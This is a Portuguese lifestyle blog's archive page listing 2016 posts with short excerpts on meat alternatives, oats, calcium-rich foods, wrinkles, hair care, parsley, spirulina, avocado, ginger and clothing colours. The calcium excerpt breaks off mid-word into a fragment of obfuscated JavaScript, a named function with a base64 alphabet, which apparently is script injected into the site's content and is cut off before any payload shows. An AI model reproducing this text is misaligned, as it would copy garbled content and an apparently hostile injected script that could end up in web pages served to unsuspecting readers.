Out 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas de nutrição: 17 alternativas saudáveis à carne Ao tentarmos reduzir o consumo de carne, torna-se fundamental encontrar outras fontes de proteína. Se formos vegetarianos, podemos optar até por consumir apenas proteína vegetal. Ao conjugar vários alimentos...
Out 24, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Descubra os benefícios da aveia Certamente já ouviu falar da aveia! Apesar de ser um cereal há muito consumido, hoje em dia tornou-se quase moda entre aqueles que optam por uma alimentação mais saudável e regrada. Aconselhada por nutricionistas...
Out 18, 2016 | Equilíbrio, Saúde e bem estar
14 alimentos ricos em cálcio que não contêm leite O cálcio é fundamental para termos ossos fortes e dentes saudáveis. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Out 17, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Saiba como reduzir as rugas e a flacidez da pele Olá, olá! As redes sociais têm a vantagem de facilitar a comunicação entre pessoas que não estão fisicamente próximas e isso é bom. No meu caso é bom porque me permite por exemplo responder a muitas das perguntas que...
Out 6, 2016 | Equilíbrio, header, Saúde e bem estar
Saúde do nosso cabelo – os 7 pecados capilares O cabelo é muitas vezes o espelho visível do que se passa no nosso corpo. Manter um cabelo brilhante e sedoso não é manter as aparências. É uma questão de saúde. A Dra Fátima Garcês, médica tricologista da Clínica...
Out 3, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios da salsa Uma alimentação rica em frutos e vegetais é uma das armas mais poderosas de garantirmos uma saúde de ferro. “Nós somos aquilo que comemos”, uma frase tantas vezes repetida, mas muito verdadeira! Por isso, mesmo...
Set 28, 2016 | Equilíbrio, Saúde e bem estar
Spirulina, um superalimento que tem de conhecer Andava há que tempos para lhe falar desta maravilha! Chama-se spirulina, é uma cianobactéria e dizem que é capaz de verdadeiros milagres! Cultivada há milhares de anos por índios, só há relativamente pouco tempo é que o...
Set 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça todos os benefícios do abacate Tenho a sorte de adorar quase todos os frutos, mas é sempre bom sabermos em que quantidades é que deve comê-los. O abacate é um dos frutos que procuro ter sempre em casa. Incluo-o em snacks muito saborosos...
Set 19, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios do gengibre Em chá, em óleo, cru ou seco, às lascas ou em pó, os poderes do gengibre são inegáveis e variados. É um verdadeiro tesouro para a nossa saúde e se não sabia, vai ficar a saber tudo agora mesmo. Acredite que a...
Set 14, 2016 | Equilíbrio, Estilo e beleza
Cores e padrões – As escolhas certas para si Todas nós gostamos de estar no nosso melhor. E claro, é importante vivermos com autoconfiança e determinação para enfrentarmos o dia-a-dia. A verdade é que há truques óptimos para brilharmos em todas as ocasiões. Para...
